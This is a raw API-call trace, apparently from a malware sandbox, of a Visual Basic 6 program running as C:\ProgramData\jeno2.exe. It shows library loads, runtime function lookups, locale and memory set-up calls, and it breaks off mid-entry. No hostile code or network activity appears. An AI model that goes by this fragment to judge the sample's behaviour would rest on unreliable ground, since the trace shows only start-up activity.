GetDeviceCaps (hdc=0x4e01027b, index=90) returned 96 [0056.466] GetDeviceCaps (hdc=0x4e01027b, index=38) returned 32409 [0056.466] ReleaseDC (hWnd=0x0, hDC=0x4e01027b) returned 1 [0056.466] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x3820000 [0056.466] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x72a4e7d0 | out: ppMalloc=0x72a4e7d0*=0x767666bc) returned 0x0 [0056.467] GetCurrentThreadId () returned 0x9ec [0056.755] LoadLibraryA (lpLibFileName="MSVBVM60.DLL") returned 0x72940000 [0056.755] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstGt") returned 0x72a49841 [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarSub") returned 0x72a477ea [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrI2") returned 0x72a20507 [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8ForNextCheck") returned 0x72a49530 [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="_CIcos") returned 0x72a39386 [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fptan") returned 0x72a309f9 [0056.756] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrI4") returned 0x72a20537 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarMove") returned 0x72a46aee [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarVargNofree") returned 0x72a4728d [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryMove") returned 0x72a0c244 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeVar") returned 0x72a46831 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateIdCall") returned 0x72a48b74 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarMove") returned 0x72a21929 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLenBstr") returned 0x72a26a9b [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaEnd") returned 0x72a0be88 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeVarList") returned 0x72a47262 [0056.757] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPut3") returned 0x72a256fa [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m64") returned 0x72a302ba [0056.758] GetProcAddress (hModule=0x72940000, lpProcName=0x26c) returned 0x72a13118 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRaiseEvent") returned 0x72a48b8f [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeObjList") returned 0x72a19fc3 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName=0x204) returned 0x72a270b7 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName=0x205) returned 0x72a27569 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrErrVarCopy") returned 0x72a21a7c [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fprem1") returned 0x72a30941 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecAnsiToUni") returned 0x72a1b797 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName=0x206) returned 0x72a275a0 [0056.758] GetProcAddress (hModule=0x72940000, lpProcName=0x272) returned 0x72a19cca [0056.758] GetProcAddress (hModule=0x72940000, lpProcName="__vbaCopyBytes") returned 0x72a1a0f3 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCmpNe") returned 0x72a49957 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCat") returned 0x72a26a76 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLsetFixstr") returned 0x72a276e5 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecDestruct") returned 0x72a1b704 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaSetSystemError") returned 0x72a0c33a [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNameFile") returned 0x72a16402 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaHresultCheckObj") returned 0x72a1a274 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLenVar") returned 0x72a26aab [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m32") returned 0x72a3026e [0056.759] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryVar") returned 0x72a43940 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName=0x29a) returned 0x72a1db35 [0056.759] GetProcAddress (hModule=0x72940000, lpProcName=0x29b) returned 0x72a1db60 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryDestruct") returned 0x72a1c1fe [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemSt") returned 0x72a48c75 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaExitProc") returned 0x72a24a48 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName=0x251) returned 0x72a1cd05 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarForInit") returned 0x72a493cc [0056.760] GetProcAddress (hModule=0x72940000, lpProcName=0x252) returned 0x72a1cd3a [0056.760] GetProcAddress (hModule=0x72940000, lpProcName=0x12d) returned 0x72a35e23 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName=0x253) returned 0x72a1d132 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaOnError") returned 0x72a2499d [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjSet") returned 0x72a19ff1 [0056.760] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m16i") returned 0x72a30306 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjSetAddref") returned 0x72a1a008 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m16i") returned 0x72a30406 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName=0x256) returned 0x72a0e0f7 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarIndexLoad") returned 0x72a1c43b [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrFixstr") returned 0x72a29652 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaBoolVar") returned 0x72a20d73 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName=0x133) returned 0x72a35f5a [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaBoolVarNull") returned 0x72a47185 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRefVarAry") returned 0x72a1c417 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstLt") returned 0x72a49873 [0056.761] GetProcAddress (hModule=0x72940000, lpProcName="_CIsin") returned 0x72a394ee [0056.761] GetProcAddress (hModule=0x72940000, lpProcName=0x2c5) returned 0x72a38299 [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x277) returned 0x72a26fe2 [0056.762] GetProcAddress (hModule=0x72940000, lpProcName="__vbaErase") returned 0x72a1c0fd [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x20d) returned 0x72a27db9 [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x278) returned 0x72a2702f [0056.762] GetProcAddress (hModule=0x72940000, lpProcName="__vbaChkstk") returned 0x72a362ea [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x20e) returned 0x72a27dfb [0056.762] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFileClose") returned 0x72a1417d [0056.762] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_AddRef") returned 0x72a09b74 [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x20f) returned 0x72a27f8a [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x210) returned 0x72a27faa [0056.762] GetProcAddress (hModule=0x72940000, lpProcName="__vbaGet3") returned 0x72a256de [0056.762] GetProcAddress (hModule=0x72940000, lpProcName=0x211) returned 0x72a15d41 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCmp") returned 0x72a29596 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaCyI2") returned 0x72a2199f [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPutOwner3") returned 0x72a2576c [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryConstruct2") returned 0x72a1c6ae [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstEq") returned 0x72a497f6 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaObjVar") returned 0x72a1a1a9 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="DllFunctionCall") returned 0x7294a0fd [0056.763] GetProcAddress (hModule=0x72940000, lpProcName=0x29e) returned 0x72a1de02 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarOr") returned 0x72a495b2 [0056.763] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpUI1") returned 0x72a47534 [0056.764] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrR4") returned 0x72a20567 [0056.764] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRedimPreserve") returned 0x72a1c339 [0056.764] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLbound") returned 0x72a1c628 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fpatan") returned 0x72a309f6 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateIdCallLd") returned 0x72a48b25 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRedim") returned 0x72a1c30a [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecUniToAnsi") returned 0x72a1b75d [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_Release") returned 0x72a09b87 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNew") returned 0x72a1a204 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName=0x258) returned 0x72a0ce69 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName=0x259) returned 0x72a43a13 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="_CIsqrt") returned 0x72a39593 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarAnd") returned 0x72a49589 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="EVENT_SINK_QueryInterface") returned 0x72a09a85 [0056.765] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStr2Vec") returned 0x72a43a40 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName="__vbaExceptHandler") returned 0x72a247df [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x2c7) returned 0x72a37ddb [0056.766] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPrintFile") returned 0x72a150a3 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x2c8) returned 0x72a389c4 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrToUnicode") returned 0x72a0bf1d [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x2c9) returned 0x72a38971 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x25e) returned 0x72a27e26 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fprem") returned 0x72a30689 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m64") returned 0x72a303ba [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x25f) returned 0x72a27f4d [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x260) returned 0x72a20f56 [0056.766] GetProcAddress (hModule=0x72940000, lpProcName=0x213) returned 0x72a15c89 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName=0x2cc) returned 0x72a197d1 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFPException") returned 0x72a47513 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName=0x214) returned 0x72a15c9a [0056.767] GetProcAddress (hModule=0x72940000, lpProcName=0x2cd) returned 0x72a28fe9 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaInStrVar") returned 0x72a2738d [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCompVar") returned 0x72a27b3e [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaGetOwner3") returned 0x72a25750 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaUbound") returned 0x72a1c65a [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarVal") returned 0x72a21948 [0056.767] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCat") returned 0x72a2697d [0056.767] GetProcAddress (hModule=0x72940000, lpProcName=0x217) returned 0x72a1c85d [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI2Var") returned 0x72a24e21 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName=0x219) returned 0x72a20ebe [0056.768] GetProcAddress (hModule=0x72940000, lpProcName=0x284) returned 0x72a1de99 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName=0x285) returned 0x72a153f7 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="_CIlog") returned 0x72a3942b [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFileOpen") returned 0x72a13d10 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8Str") returned 0x72a210ea [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarLateMemCallLdRf") returned 0x72a48da8 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName=0x23a) returned 0x72a25618 [0056.768] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVar2Vec") returned 0x72a43aec [0056.768] GetProcAddress (hModule=0x72940000, lpProcName=0x288) returned 0x72a14275 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaInStr") returned 0x7294a296 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaNew2") returned 0x72a1a237 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_m32i") returned 0x72a3033a [0056.769] GetProcAddress (hModule=0x72940000, lpProcName=0x23c) returned 0x72a21290 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m32i") returned 0x72a3043a [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarSetObj") returned 0x72a1a01f [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrCopy") returned 0x72a26c4a [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI4Str") returned 0x72a2105e [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarNot") returned 0x72a49564 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeStrList") returned 0x72a26c01 [0056.769] GetProcAddress (hModule=0x72940000, lpProcName=0x240) returned 0x72a15f0d [0056.769] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdivr_m32") returned 0x72a3036e [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaPowerR8") returned 0x72a211ca [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="_adj_fdiv_r") returned 0x72a2fda9 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName=0x2ad) returned 0x72a1ef7d [0056.770] GetProcAddress (hModule=0x72940000, lpProcName=0x242) returned 0x72a161f8 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName=0x64) returned 0x729435a4 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName=0x243) returned 0x72a16224 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarTstNe") returned 0x72a4980f [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaI4Var") returned 0x72a24e2f [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCmpEq") returned 0x72a49922 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName=0x262) returned 0x72a122b9 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarAdd") returned 0x72a477c1 [0056.770] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemCall") returned 0x72a48cb8 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryLock") returned 0x72a1c6d9 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName=0x264) returned 0x72a122fb [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrToAnsi") returned 0x7294a3d7 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrComp") returned 0x72a27be9 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarDup") returned 0x72a46df6 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpI2") returned 0x72a47559 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarLateMemCallLd") returned 0x72a48d8c [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFpI4") returned 0x72a47570 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName=0x268) returned 0x72a26d9a [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarCopy") returned 0x72a46bb8 [0056.771] GetProcAddress (hModule=0x72940000, lpProcName="__vbaRecDestructAnsi") returned 0x72a1b7d1 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName=0x269) returned 0x72a26dad [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaLateMemCallLd") returned 0x72a48c4d [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="_CIatan") returned 0x72a392c0 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryCopy") returned 0x72a0c20d [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrMove") returned 0x72a26c30 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName=0x26a) returned 0x72a26e9e [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaStrVarCopy") returned 0x72a20646 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaR8IntI4") returned 0x72a2980a [0056.772] GetProcAddress (hModule=0x72940000, lpProcName=0x26b) returned 0x72a26eb1 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="_allmul") returned 0x72a2eeed [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="_CItan") returned 0x72a39644 [0056.772] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFPInt") returned 0x72a29821 [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="__vbaAryUnlock") returned 0x72a1c6fc [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="__vbaVarForNext") returned 0x72a493fa [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="_CIexp") returned 0x72a2dd11 [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="__vbaMidStmtBstr") returned 0x72a27c22 [0056.773] GetProcAddress (hModule=0x72940000, lpProcName=0x244) returned 0x72a1624d [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeObj") returned 0x72a19faf [0056.773] GetProcAddress (hModule=0x72940000, lpProcName="__vbaFreeStr") returned 0x72a26bec [0056.773] GetProcAddress (hModule=0x72940000, lpProcName=0x245) returned 0x72a1325a [0056.773] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0056.774] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0056.774] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\jeno2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0056.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x104) returned 0x38207d0 [0056.774] GetCurrentThreadId () returned 0x9ec [0056.774] GetCurrentThreadId () returned 0x9ec [0056.774] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xec8) returned 0x38208e0 [0056.775] GetCommandLineA () returned="C:\\ProgramData\\jeno2.exe" [0056.775] lstrlenA (lpString="") returned 0 [0056.775] lstrcpyA (in: lpString1=0x18feac, lpString2="" | out: lpString1="") returned="" [0056.775] SetErrorMode (uMode=0x8001) returned 0x8001 [0056.775] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fb68, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0056.775] GetUserDefaultLCID () returned 0x409 [0056.775] lstrcpyA (in: lpString1=0x18f868, lpString2="*" | out: lpString1="*") returned="*" [0056.775] LoadStringA (in: hInstance=0x72940000, uID=0x7d1, lpBuffer=0x18fc6c, cchBufferMax=8 | out: lpBuffer="409") returned 0x3 [0056.776] GetSystemDefaultLCID () returned 0x409 [0056.776] GetUserDefaultLCID () returned 0x409 [0056.776] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0x18fc76, cchData=2 | out: lpLCData=".") returned 2 [0056.776] GetStockObject (i=13) returned 0x18a002e [0056.776] GetObjectA (in: h=0x18a002e, c=60, pv=0x18fc3c | out: pv=0x18fc3c) returned 60 [0056.776] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0056.776] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0056.777] lstrlenA (lpString="{xx}") returned 4 [0056.777] lstrlenA (lpString="VB98.CHM") returned 8 [0056.777] lstrcpyA (in: lpString1=0x72a4eae8, lpString2="VB98.CHM" | out: lpString1="VB98.CHM") returned="VB98.CHM" [0056.777] GetLocaleInfoA (in: Locale=0x409, LCType=0x80000003, lpLCData=0x18fc38, cchData=4 | out: lpLCData="ENU") returned 4 [0056.777] lstrcpyA (in: lpString1=0x18fc68, lpString2="EN" | out: lpString1="EN") returned="EN" [0056.777] lstrlenA (lpString="{xx}") returned 4 [0056.777] lstrlenA (lpString="VBENLR98.CHM") returned 12 [0056.777] lstrcpyA (in: lpString1=0x72a4ebf0, lpString2="VBENLR98.CHM" | out: lpString1="VBENLR98.CHM") returned="VBENLR98.CHM" [0056.777] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18fd90, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0056.777] GetModuleFileNameA (in: hModule=0x72940000, lpFilename=0x18fc8c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MSVBVM60.DLL" (normalized: "c:\\windows\\system32\\msvbvm60.dll")) returned 0x20 [0056.777] lstrcpynA (in: lpString1=0x18fb70, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL", iMaxLength=260 | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0056.777] lstrlenA (lpString="C:\\Windows\\system32\\MSVBVM60.DLL") returned 32 [0056.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x21) returned 0x38217b0 [0056.777] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x21) returned 0x38217e0 [0056.777] lstrcpyA (in: lpString1=0x38217b0, lpString2="C:\\Windows\\system32\\MSVBVM60.DLL" | out: lpString1="C:\\Windows\\system32\\MSVBVM60.DLL") returned="C:\\Windows\\system32\\MSVBVM60.DLL" [0056.777] LCMapStringA (in: Locale=0x409, dwMapFlags=0x200, lpSrcStr="C:\\ProgramData\\jeno2.exe", cchSrc=-1, lpDestStr=0x18fb50, cchDest=260 | out: lpDestStr="C:\\PROGRAMDATA\\JENO2.EXE") returned 25 [0056.778] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x18fc54, dwRevision=0x1 | out: pSecurityDescriptor=0x18fc54) returned 1 [0056.778] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x18fc54, bDaclPresent=1, pDacl=0x0, bDaclDefaulted=0 | out: pSecurityDescriptor=0x18fc54) returned 1 [0056.778] CreateSemaphoreA (lpSemaphoreAttributes=0x18fc68, lInitialCount=0, lMaximumCount=2147483647, lpName="C:?PROGRAMDATA?JENO2.EXE") returned 0x90 [0056.779] GetLastError () returned 0x0 [0056.779] GetVersionExA (in: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fbcc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.779] OleInitialize (pvReserved=0x0) returned 0x0 [0056.796] OaBuildVersion () returned 0x321396 [0056.796] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x76e40000 [0056.796] GetLastError () returned 0x0 [0056.796] GetProcAddress (hModule=0x76e40000, lpProcName="OleLoadPictureEx") returned 0x76ea70a1 [0056.796] RegisterClipboardFormatA (lpszFormat="Link") returned 0xc169 [0056.796] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0b1 [0056.797] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBFocusRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0056.797] RegisterClassA (lpWndClass=0x18fc34) returned 0xc167 [0056.797] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBBubbleRT6", lpWndClass=0x18fc34 | out: lpWndClass=0x18fc34) returned 0 [0056.797] RegisterClassA (lpWndClass=0x18fc34) returned 0xc168 [0056.797] HeapCreate (flOptions=0x0, dwInitialSize=0x400, dwMaximumSize=0x0) returned 0x35e0000 [0056.798] GetUserDefaultLCID () returned 0x409 [0056.798] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x3a4) returned 0x3821810 [0056.798] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x3a4) returned 0x3821bc0 [0056.798] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd4) returned 0x3821f70 [0056.798] GetSystemInfo (in: lpSystemInfo=0x18fbf4 | out: lpSystemInfo=0x18fbf4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0056.798] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x210000 [0056.798] VirtualAlloc (lpAddress=0x210000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.799] VirtualAlloc (lpAddress=0x210000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.799] VirtualAlloc (lpAddress=0x210000, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.799] VirtualAlloc (lpAddress=0x210000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.799] VirtualAlloc (lpAddress=0x210000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.800] VirtualAlloc (lpAddress=0x210000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.800] VirtualProtect (in: lpAddress=0x210000, dwSize=0x6000, flNewProtect=0x20, lpflOldProtect=0x18fc50 | out: lpflOldProtect=0x18fc50*=0x4) returned 1 [0056.801] GetCurrentProcess () returned 0xffffffff [0056.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x210000, dwSize=0x6000) returned 1 [0056.801] GlobalAddAtomA (lpString="VBDisabled") returned 0xc165 [0056.801] GetVersion () returned 0x1db10106 [0056.801] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x76e40000 [0056.801] GetProcAddress (hModule=0x76e40000, lpProcName="DispCallFunc") returned 0x76e53dcf [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="LoadTypeLibEx") returned 0x76e507b7 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="UnRegisterTypeLib") returned 0x76e71ca9 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="CreateTypeLib2") returned 0x76e58e70 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="VarDateFromUdate") returned 0x76e57684 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="VarUdateFromDate") returned 0x76e5cc98 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="GetAltMonthNames") returned 0x76e8903a [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="VarNumFromParseNum") returned 0x76e56231 [0056.802] GetProcAddress (hModule=0x76e40000, lpProcName="VarParseNumFromStr") returned 0x76e55fea [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR4") returned 0x76e63f94 [0056.803] GetProcAddress (hModule=0x76e40000, lpProcName="VarDecFromR8") returned 0x76e64e9e [0056.803] GetProcAddress 